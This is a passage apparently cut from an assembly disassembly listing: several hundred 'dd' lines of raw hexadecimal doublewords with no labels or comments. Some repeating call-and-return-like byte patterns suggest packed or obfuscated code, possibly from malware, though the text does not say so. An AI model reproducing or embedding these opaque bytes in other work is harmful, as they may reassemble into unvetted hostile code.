		dd 0C821732Ah, 4DFD9828h, 0FD5BEA2Ch, 508C152Bh, 8C009881h
		dd 0ABAE48F7h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5CC371C0h
		dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah,	46A59030h
		dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 5CDFDCA0h
		dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
		dd 0BE290BA2h, 43935C91h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 0D775532Ah, 52BA5C63h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 5CDFDCA0h, 0D79AEA4h, 2320949Ah,	328C651Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	953BFDA2h
		dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
		dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h,	0A32851A2h
		dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh,	0B9CF9E4Bh
		dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
		dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h,	458AD507h
		dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
		dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h,	38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
		dd 9D22DC08h, 0BA8C0C7Fh, 0FEF8E173h, 10439FA7h, 855757BBh
		dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	54AFE9A2h
		dd 0D775152Ah, 52BA581Bh, 0C8204526h, 4DFD9828h, 0F55BEA2Ch
		dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h,	0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
		dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 484B87D5h,	8C2357B0h
		dd 0EF491786h, 161DB2Fh, 94751333h, 0BD28E9C4h,	8600BE4Ch
		dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
		dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h,	8418EA80h
		dd 0DFAE43AFh, 8558B9E2h, 9D32DC08h, 0BA8C0C7Fh, 94103771h
		dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 0D775BF86h, 52BA5C63h, 7726DDA1h, 0CE25FB63h, 439340E3h
		dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 7732732Ah, 0D903376Bh, 5CDFDCB0h,	327BAEA4h
		dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
		dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
		dd 0FDEC152Ah, 0FFCEB824h, 10438FA7h, 875757BBh, 320A09Ah
		dd 0CE25FB0Eh, 439340E3h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 5CC699C0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h
		dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
		dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
		dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h,	0BA8660D5h
		dd 0CE2559D7h, 439352EBh, 0CC32DCF1h, 0BA8C0C62h, 0A8EDD871h
		dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 4DEF8038h,	0DF07462Ch
		dd 52B1193Ah, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
		dd 2578FA7h, 0D9FB57BBh, 5CC28DB0h, 0DD7BAEA4h,	5863E96Fh
		dd 0ABA851A2h, 3075195Fh, 0BD32DCAAh, 168C0C6Dh, 1C30CB2Fh
		dd 96751333h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 720CEB00h, 0FC3D38A3h, 0DF669A80h, 0E9D9AD9Eh
		dd 669h, 65DE9h, 1F8B7E00h, 339D9181h, 4BADA595h, 61C7BDADh
		dd 76DED3C3h, 9E0C6BD8h, 0B3A341A9h, 0CABA58BCh, 0E3D371D1h
		dd 0EEED8BE9h, 54F41C8Dh, 0E8FB7602h, 0B7150F96h, 0A505FEB4h
		dd 3FB039A2h, 6FE90717h, 0D0CF392Dh, 49401882h,	73961D2h
		dd 0F6406FE9h, 55ECF9BDh, 0D06800E1h, 0BA2217CDh, 0A40C01B7h
		dd 0C82C23F9h, 22056FC5h, 6510766Ch, 3D35978Fh,	9578E246h
		dd 2B25E7DFh, 0E074CACDh, 49071252h, 5F62FA64h,	484BB5A9h
		dd 0B863FEEDh, 29087046h, 0A236E501h, 78C35C92h, 36C12BCAh
		dd 0F05A40C5h, 0B0B30169h, 254DBE47h, 3476024Ah, 4A3A62D3h
		dd 0F3417602h, 2119F15Bh, 493E14BFh, 475DEE1h, 76024ADCh
		dd 93FD95E3h, 0CB2D2515h, 476877C8h, 6E255AE1h,	65C7BF8Eh
		dd 8AECE4BAh, 1E0DA220h, 0C64FD883h, 0BB428E54h, 3BCE8A9Dh
		dd 0AD215E13h, 0B021CC1Ah, 0AD215E88h, 6CDF4997h, 0A728A2EBh
		dd 1BD1D422h, 0A517C222h, 8638B307h, 0C745AFDDh, 0D37EDED7h
		dd 9DA008FDh, 0A9FADD47h, 4A8B29FFh, 8D7B76Eh, 7C11AF0Fh
		dd 359D9271h, 7C81F29Dh, 8DC59D48h, 0BFEB3C3Fh,	0F7CD9907h
		dd 123AAB34h, 20CD9907h, 6EC4C727h, 2F29216Fh, 0E78CED1h
		dd 62B98D6Dh, 5735CD7Bh, 25288881h, 72C65CFh, 0D2000000h
		dd 3EE20h, 160FCE00h, 0D84AB3B6h, 16549425h, 0FDD53F72h
		dd 0EAA0A305h, 5B7795F1h, 82EDD728h, 3931E7EAh,	302B53C4h
		dd 0E4326FE9h, 33F2494Ch, 67E0E453h, 5FBFB887h,	78D8D1C1h
		dd 0EB8B5D75h, 2C968A60h, 157F7329h, 9272137Dh,	0DF433A10h
		dd 5FF286DCh, 61170E01h, 700D842h, 729A0B94h, 796FE9C2h
		dd 0C270982Bh, 317F6FE9h, 130BFB99h, 2F8AEB1h, 8342999Ch
		dd 1ADCD4A3h, 5BBBE24h,	53A9AC0Ch, 0EF7823BBh, 0E9C2567Eh
		dd 11756C6Fh, 0D7CCC412h, 0AC166C6Fh, 0BCB58B2Eh, 9F7FF25Ch
		dd 0F500A80Bh, 0AFA9800h, 19CDB313h, 732CCE82h,	2B22D8DBh
		dd 0C667C4C7h, 57042254h, 201788CCh, 0CB63B9BCh, 11E0C061h
		dd 3918B61Ah, 0FDh, 69C9C298h, 6D6AC3FFh, 2B25DBDEh, 0F12766Dh
		dd 64CCC1B9h, 0C8730B61h, 7A6CE3Fh, 67B56FE9h, 978F7FFDh
		dd 0BFB48A35h, 0A10AED57h, 6E71D3CBh, 133BAE18h, 806FE907h
		dd 1A12E1C1h, 70C34A5h,	0C5136FE9h, 0CCA19B31h,	2EC64E93h
		dd 52B6AD83h, 837A6AE8h, 6C661C1Fh, 0BB53B7AEh,	0C4A45BB8h
		dd 0FC9AFEF5h, 0AEB1150Ch, 989B03F8h, 8386ECE2h, 28277F31h
		dd 5C54A321h, 39FBFE68h, 0D871E0C0h, 736A3919h,	8C81710Fh
		dd 0DE092124h, 0B4B71B12h, 9DA00AFEh, 0EE8DEFE7h, 48E85737h
		dd 9C25A787h, 8D7AA213h, 33816FE9h, 0E98D78A0h,	0A1F7F26Fh
		dd 0AA30FFA6h, 1BF35DABh, 0A6645E26h, 0AFB24AB0h, 2F04C559h
		dd 51822633h, 0EF781BB9h, 0E966567Eh, 10766C6Fh, 8159C311h
		dd 0D4252888h, 6FE966A7h, 129474F5h, 0EE4463Ch,	3F593BECh
		dd 0F8D03AD2h, 5E019FFFh, 0E98AB4ECh, 2E98ADEBh, 62D35CF2h
		dd 6FE9073Ah, 0B189F341h, 24AD58B8h, 7022A9Bh, 0BB096FE9h
		dd 0E9070028h, 0CAF2636Fh, 0D16FE907h, 763A8483h, 0CF992F5Ch
		dd 0E5C832CAh, 0D3D6362Fh, 0BCBF291Dh, 0A9AC0E06h, 0F897FDF3h
		dd 94F26141h, 0F079FBDBh, 0E91C577Fh, 0AE18666Fh, 0DF7DDDD6h
		dd 0E9175354h, 1064616Fh, 1D81D90h, 10DF0778h, 0A0EE6FE9h
		dd 0FE9CFD36h, 0CB54FFFFh, 8682D559h, 9326C473h, 6FE9186Bh
		dd 7EBA2472h, 35E0636Ah, 0FB1BAFC4h, 0DAD07E69h, 3058C974h
		dd 3F75FB24h, 0A05659F1h, 79F2E8A6h, 0FB24E008h, 9A1EF75h
		dd 0E9E3D371h, 0DCD2888Bh, 0EE9DBF7Ah, 0B149CB1Ch, 0BA9A51AEh
		dd 0F593F1EBh, 0AAAD0B05h, 0FB242C59h, 4525DE75h, 9A0B7C76h
		dd 75FB2472h, 0F5932B79h, 544D0B05h, 977FE2F8h,	35CDB99Ah
		dd 5B319A9Dh, 19960064h, 5BE48F12h, 0FB74C2EAh,	117BC975h
		dd 93101586h, 0E331700Dh, 26BDB045h, 9A7D0A7Bh,	57E069F0h
		dd 20ABEE6h, 157FCD76h,	7CE5E836h, 4C8181F3h, 5BB726BAh
		dd 272A0C8h, 0F761AF76h, 28C6261Fh, 56B6AF85h, 0BB93FD53h
		dd 0E5F62C2h, 5AE16FFFh, 0B6B91F15h, 0A0A30B00h, 3DAC8C43h
		dd 11E0C039h, 0FC625818h, 0DFD6C664h, 77C5231Bh, 0BCC3286Ch
		dd 85DBDE76h, 694169DAh, 0FA48AD21h, 582EB762h,	0A7FD005Eh
		dd 2169EC14h, 3BA5F3ADh, 49A9A258h, 66EFB246h, 0F74142F4h
		dd 11A4C6F3h, 0AD211AE9h, 1AABD344h, 64B2AD21h,	0CAD1765h
		dd 8E01582Ch, 88481555h, 0EE000000h, 2C8E865Ch,	8CF6EAC2h
		dd 0BFE758E1h, 0CE6FE907h, 2DC52920h, 5D5545C3h, 776D5DFBh
		dd 8E837311h, 0D66ECCC6h, 0EF534838h, 0B4666531h, 0AB49E138h
		dd 0C260C4BBh, 0DB79D9D2h, 0F593F1EBh, 0FDA81005h, 0CBCE2E27h
		dd 0BF280B75h, 0E9F3264Eh, 0E0E7356Fh, 6777127h, 0E9F36D95h
		dd 962E7C6Fh, 9D7D3C93h, 0C5ED5EBFh, 0D46FE9F3h, 30E9E886h
		dd 94FCF1C7h, 81E3DB91h, 61B87FE9h, 66000000h, 7779E29h
		dd 2DEC6FE9h, 0F6DDF4Dh, 2313B11Bh, 0AC1EC92Bh,	0A9A32F52h
		dd 7157B74Bh, 28189600h, 3E2ECC32h, 5343E149h, 4A72E35Eh
		dd 516FE9B2h, 0B2577FF0h, 18666FE9h, 5A4AE880h,	7E54FF63h
		dd 39B72189h, 65C9C096h, 0CA2A23FBh, 0E4423C2Ch, 56F6339h
		dd 0C442AC02h, 3E5h, 59959300h,	0ADB01C0Fh, 9C9FFDF7h
		dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h
		dd 2225877Fh, 0B0E786Ch, 0E189514Dh, 4C181h, 0BB530000h
		dd 4, 875BD929h, 685C240Ch, 6610h, 57243C89h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0E0682434h,	89000002h, 0F9BB241Ch
		dd 0BF1F0779h, 0E711D376h, 685BDF01h, 2B09h, 83242489h
		dd 5E042404h, 8B951h, 0F1010000h, 89FE8956h, 0FF595E31h
		dd 835E2434h, 3C8B04C4h, 0E0895024h, 405h, 40500h, 4870000h
		dd 3EE95C24h, 0FAFFF92Ch, 673DCE3Ah, 52250A71h,	3FB8A776h
		dd 3061953h, 0E9D38BC5h, 3Bh, 0BDBD8B60h, 83061223h, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 0FDED55C8h, 0F67A5E75h, 0E669A476h
		dd 0FD49BC56h, 0FD21092Eh, 0FD21248Ch, 0FD2133CDh, 0FD21B923h
		dd 0FD217C1Dh, 0FD219E0Bh, 0FD21EFD0h, 0FD2157B1h, 0FD210BACh
		dd 0FD2124EBh, 0FD2133A0h, 0FD21BB05h, 0FD217D66h, 0FD219F47h
		dd 0FD21EE20h, 0FD2155ECh, 0FD210930h, 358A259Dh, 0D6A22295h
		dd 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h
		dd 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h
		dd 0FD7A5E75h, 0A64B4876h, 0A6485A75h, 0FD7ACB75h, 0FC7BE475h
		dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 0E42271F0h, 9BFFA673h
		dd 707C8E21h, 0E4228EF0h, 0DBFF6C73h, 707CEB21h, 0E422FAF0h
		dd 9FFF3573h, 707C4721h, 0E42DCCF0h, 0D7FF1E73h, 707CD221h
		dd 0E42D47F0h, 0D3FF7B73h, 707C6021h, 0E42CFCF0h, 0CFFFD773h
		dd 707C3621h, 0E42CC5F0h, 0CBFF4273h, 707CFC21h, 0E42C9AF0h
		dd 0C7FFF073h, 707CA521h, 0E42C9DF0h, 0BBFFA673h, 707C8E21h
		dd 0E42C44F0h, 0C3FF6C73h, 707CEB21h, 0E42CD7F0h, 0BFFF3573h
		dd 707C4721h, 0E42CECF0h, 0BBFF1E73h, 707CD221h, 0E42C18F0h
		dd 0ABFF7B73h, 707C6021h, 0E42DA0F0h, 0A7FFD773h, 707C3621h
		dd 0E42DA8F0h, 0A3FF4273h, 707CFC21h, 0E42D7AF0h, 0B7FFF073h
		dd 707CA521h, 0E42DE1F0h, 0B3FFA673h, 707C8E21h, 0E42291F0h
		dd 0AFFF6C73h, 767CEB21h, 0EF77B8F0h, 62FF3573h, 767C4721h
		dd 0EF7396F0h, 5EFF1E73h, 9C7CD221h, 11F1B0B6h,	0FD7AF29Dh
		dd 17FB2375h, 0FB63E9C6h, 0F53FD525h, 0A9E4ADFDh, 3422916Ch
		dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 0E42F6898h
		dd 0D8FFA073h, 7D7C3621h, 0E42EB2C8h, 0B409CF73h, 4B75E4C5h
		dd 89BAF9B5h, 5EEF8635h, 0BD7CA521h, 452B96FEh,	0FD7A2F7Ah
		dd 0A9D9028Ah, 48F7CD6Ch, 0FB63B153h, 50FCC6F8h, 0FD7E4B9Dh
		dd 456FCF75h, 0FD7A5E76h, 0A9D9BA8Ah, 48F7916Ch, 0FB639F53h
		dd 50FCD1F8h, 1F23228Ah, 0D8F787BCh, 0A07CA521h, 0A320052Dh
		dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 0A9E5708Ah,	3ED1F46Ch
		dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 62EFD0DEh,	9B7C8E21h
		dd 959208DEh, 0B7AE577h, 8872F336h, 62EF866Eh, 4D7CA521h
		dd 0AD7954C5h, 0A9E5BA8Ah, 9B20916Ch, 9B7E2BF6h, 561C277Eh
		dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh
		dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h
		dd 0A77ABC77h, 120E844Eh
		dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h
		dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h
		dd 4DBA07F5h, 6885B5FFh, 0FB63A6EAh, 0FD5F1F2Fh, 3F71DA51h
		dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h,	157AE574h
		dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh
		dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h
		dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h
		dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh
		dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 5EEF0D75h
		dd 707C6021h, 0E42ED6C0h, 518A5D73h, 2D02C7Fh, 0E42E08E0h
		dd 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah
		dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh
		dd 9B4BFDCDh, 36B91DEh,	0A7CA438Ah, 5722EEDFh, 57929FB6h
		dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h,	8B9177h
		dd 592438Ah, 4D7A5E75h,	5779252Dh, 0E1FF69B6h, 7D7CD221h
		dd 0E42EF9C8h, 0EC0FF373h, 0A9F4FCF8h, 152ABA6Ch, 0FD7A5C61h
		dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah
		dd 0E1F787DFh, 7D7CA521h, 0E42E42C8h, 0F10F2F73h, 0A9F412F8h
		dd 152ACD6Ch, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB63E8D6h
		dd 0A591C3F8h, 0F9F0296Ch, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh
		dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 0A9E5CB8Ah,	4ACE296Ch
		dd 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh
		dd 0FEF0E675h, 0F179BEB5h, 577825B5h, 62EF68B6h, 7D7CD221h
		dd 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh
		dd 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 0A9D9708Ah, 60F7F46Ch
		dd 0FB632DF7h, 3E39A0F8h, 0FD7A4ECDh, 5EEFD075h, 7E7C8E21h
		dd 35F1CEB5h, 62EF1A89h, 577CEB21h, 15B98E97h, 28543BEh
		dd 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h
		dd 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h,	0FB63778Eh
		dd 7D86EAFCh, 0E42E55CFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh
		dd 5EE84375h, 0BD7C4721h, 0A9DDADFCh, 35F1916Ch, 0A4B579F8h
		dd 6F85E36Ch, 0FB63A6EAh, 1F3C7FFDh, 0FD6D0480h, 7F795E75h
		dd 0FB637BD2h, 3EE01A35h, 7E7CD22Ch, 0FEF3E1B6h, 0FD644B22h
		dd 77797975h, 0FB63E8D2h, 0A4CBECF8h, 5989296Ch, 0FD722F2Bh
		dd 6F85CB75h, 0FB63B1D6h, 897E0AF6h, 447C7185h,	0FD7ABC72h
		dd 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h, 0FD765C44h
		dd 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h, 0F9722F75h
		dd 15B7F44h, 80F3348Ah,	80F18489h, 0ADB93B89h, 0FD7A7F9Dh
		dd 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h, 0C92CB389h
		dd 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h, 151AB2FEh
		dd 0FD7A2F75h, 1F90162Fh, 707CD22Ch, 0E42E4ECFh, 0F50F7973h
		dd 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 56E7A226h, 7D7C8E21h
		dd 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h, 0FD7ABC9Dh
		dd 17FB0475h, 0FB63756Eh, 0A9D125F8h, 80F1CD6Ch, 0FD725C7Dh
		dd 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB630ADEh, 0F5C3EF46h
		dd 0E7A9775h, 9DB9AADFh, 0A9D158F8h, 0C2FBF46Ch, 0FC7B7874h
		dd 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh, 40F7ABB6h
		dd 0FB63B1DEh, 0FD7AF3CDh, 0FD72C075h, 5789BC75h, 3DF19D14h
		dd 78F7EFFEh, 0FB63C3CDh, 0CA8BD08Ah, 0ABE9h, 3FAB9E00h
		dd 53BDB1A1h, 6BCDC5B5h, 81E7DDCDh, 96FEF3E3h, 0BE2C8BF8h
		dd 0D3C361C9h, 0EADA78DCh, 3F391F1h, 0E0DAB09h,	61143CADh
		dd 81B7602h, 0B3190FB6h, 2E2414B0h, 0B1872AC8h,	9A04F8B8h
		dd 6259802h, 739016F9h,	6FAB712Fh, 68BAE6CAh, 9C27916Fh
		dd 0B48A6FA8h, 4FC256C0h, 25DDFE95h, 8571E88h, 5000000h
		dd 2D8D865Ch, 0F3571C3h, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh
		dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
		dd 4D0B0E78h, 195A8F68h, 24D3E906h, 0FBBDFFF9h,	0DC24C466h
		dd 22188F95h, 24B15EFDh, 0BE8h,	22BD6100h, 8D3A53F0h, 0A8484A5Ah
		dd 7991BA66h, 0C681F85Eh, 608Eh, 2BCA8B66h, 9BC881DBh
		dd 0FF11E23Ah, 81663334h, 5FA9F1D0h, 1800Fh, 81F80000h
		dd 5368B6F7h, 0EE834h, 81FA0000h, 2725613Eh, 2EFDB280h
		dd 0EE1A5643h, 815950B4h, 0ED22B9EFh, 0C7D98158h, 8150F564h
		dd 5EFB3FEFh, 0F515378h, 8Bh, 57585900h, 26B2CA81h, 48F3CE3h
		dd 0E83BB11Eh, 7, 89315C2Ah, 0E8BBADC6h, 0Eh, 86CF5413h
		dd 0ACFF7C73h, 31F78CB5h, 0B966EA52h, 5959E1E8h, 0FC03EB83h
		dd 14E84Bh, 30120000h, 9A109216h, 514C297h, 2B7CDFA0h
		dd 0AB7B0E76h, 8B661C55h, 0FB8159C6h, 0FFFFA04Ch, 0FF59850Fh
		dd 0CE8FFFFh, 0F9000000h, 78E96427h, 51DD6253h,	8056538Ch
		dd 0E95992D0h, 2Ah, 2404C7h, 0E8000000h, 0
		dd 2EED815Dh, 8B06195Ch, 89042444h, 121E7185h, 0B806h
		dd 8D8D0000h, 6124DB5h,	54B8E1FFh, 0E8000067h, 0Eh, 0C11374F2h
		dd 932C2BDh, 32FC3777h,	14E96873h, 4000000h, 0AFD2FEFAh
		dd 201EA3E3h, 1EB8FD6Ch, 0BA275FAFh, 58F41CA7h,	12E9h
		dd 2AF90000h, 0D2167021h, 8195D677h, 0C7532B07h, 81A32890h
		dd 5949C0h, 66606000h, 60E64ABFh, 0D0816161h, 16750303h
		dd 6C68BF61h, 0F7811E55h, 1E557A74h, 6630FFF8h,	5BE787BAh
		dd 81F78B66h, 0AFE723C3h, 7E96Dh, 33D0000h, 2C31A9D6h
		dd 0FEF38194h, 0BA2B853Ch, 36ED6335h, 2A59EB81h, 810F1790h
		dd 0
		dd 5E91889h, 62000000h,	78D424BCh, 0BA04E883h, 315878F4h
		dd 0F01EF83h, 1285h, 0E9F58A00h, 25h, 0FDC04751h, 4D46A6A4h
		dd 8A6AD516h, 0FF97E9D1h, 27C3FFFFh, 33FDC9DEh,	0ACEA0CA4h
		dd 9AF2DFF6h, 9675B1F1h, 16EB13h, 4 dup(0)
		dd 1000000h, 41401h, 6A061900h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5FE2C353h, 74FEC470h
		dd 0E953907Fh, 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch, 3B2F11D9h
		dd 505FA832h, 0DF16E2BFh, 6A9072h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5FC4AFC3h, 0F18166E2h
		dd 6A86A7h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Bh,	57C35646h, 260F9A18h, 8938DCD9h, 122D459Dh, 81006A06h
		dd 9DBFD1C2h, 0B5858D52h, 6A06195Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E4B1C356h
		dd 8D958BBDh, 90061215h, 5960B256h, 90A0B550h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EBC35141h, 8AA81F72h
		dd 65BF6655h, 0F38166A7h, 6A71F3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 43C35646h, 0E1D8D89h, 6A0612h
		dd 10E9h, 41609800h, 0B98BBA03h, 0DC3E627Ah, 0AAFA18B7h
		dd 10E9F3h, 9580000h, 7C13A17Dh, 9984321Fh, 0DCDE7079h
		dd 95FFCDD7h, 6120DB5h,	0AB4BBA66h, 606E9h, 0B5016000h
		dd 61229D1h, 20059503h,	0E8610612h, 0
		dd 0BAED815Dh, 6A06195Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 1269C355h, 0CB7E636Ah
		dd 0B5958BBAh, 0BF061206h, 3E51F650h, 0C1E2B966h, 4E8h
		dd 0FA000h, 448B5000h, 0B7520424h, 8B5FB8h, 44895A52h
		dd 8B660424h, 8D2358F8h, 6121855h, 19CD95FFh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0EEE1F7C3h, 911EE205h, 8DC9BF0Fh, 195D35B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7B45196Ah, 0EBA16578h, 79BD8990h, 0F061228h,	6C7FBBFh
		dd 6D676552h, 7E9h, 0FD09D800h,	514F53F3h, 6F0446C7h, 6A6C636Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3F6CC352h, 0B997D716h, 6810F2Eh, 29000000h
		dd 12058DBDh, 846C706h,	737361h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 14h, 11C35040h, 0EA81006Ah, 4390C454h
		dd 5D35858Dh, 0BD8B0619h, 6122A75h, 7E95190h, 0CD000000h
		dd 3250C9BBh, 505FB57Fh, 2830Fh, 0F2B60000h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D23E006Ch, 7A6978EFh, 0D91958Bh, 95FF0612h,	61229D9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 59C35141h
		dd 26AAB3Ah, 0CBFA9BB4h, 840FC00Bh, 53h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 37C35545h, 19D413D9h
		dd 2C79958Bh, 0E5E90612h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4D0EC351h
		dd 4E830ECEh, 66C6CEF5h, 68A3C7BFh, 0CAD49FCEh,	830F5060h
		dd 0
		dd 2A18BF5Eh, 816117B5h, 615E2404h, 6A352Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4256DBC3h
		dd 3E68A4CFh, 18E0Fh, 0FFFC0000h, 1219CD95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 7C814869h, 689EBD65h, 85BD0BA8h, 3061209h, 120DB1BDh
		dd 35B58D06h, 6A06195Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 6354C357h, 986AF9C0h
		dd 6C75A69h, 36343831h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0C4C35747h, 0E7481F52h, 370446C7h, 6631342Dh
		dd 46C7FA8Bh, 8, 61952300h, 6A06122Ch, 0C6B35200h, 35858D5Ah
		dd 0E906195Dh, 0Fh, 0D2658BE6h,	0AD14EA64h, 58619B11h
		dd 90E9F40Fh, 5E8h, 24036B00h, 0F51086Dh, 89h, 505F5B00h
		dd 9D4F71BFh, 6A9015h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF6F00C3h, 1229D995h, 799D8B06h
